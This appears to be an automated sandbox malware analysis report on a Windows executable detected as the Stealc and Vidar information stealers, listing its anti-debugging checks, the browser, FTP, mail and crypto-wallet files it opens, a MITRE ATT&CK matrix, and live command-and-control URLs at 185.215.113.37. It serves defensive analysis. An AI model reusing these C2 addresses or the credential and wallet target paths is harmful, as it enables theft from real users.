Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007F45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_007F45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00809860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00809750 mov eax, dword ptr fs:[00000030h]

0_2_00809750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008078E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_008078E0

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6312, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00809600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00809600

Source: file.exe, file.exe, 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: K"Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00807B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00807980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00807980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00807850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00807850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00807A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00807A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.7f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1774077760.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2093924114.000000000133E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6312, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6312, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.\-x

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6312, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.7f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1774077760.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2093924114.000000000133E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6312, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6312, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	34 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	34 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.php9b	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/chrome_newtab	GHJKJDAK.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	DHDHJJJECFIECBGDGCAAAEHIEG.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	GHJKJDAK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php5f	file.exe, 00000000.00000002.2093924114.0000000001396000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll2)?	file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2110032250.00000000298A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, KFIDAFBFBKFHJJKEHIEG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllP)	file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	GHJKJDAK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2093924114.000000000133E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1939239657.000000001D740000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllL	file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
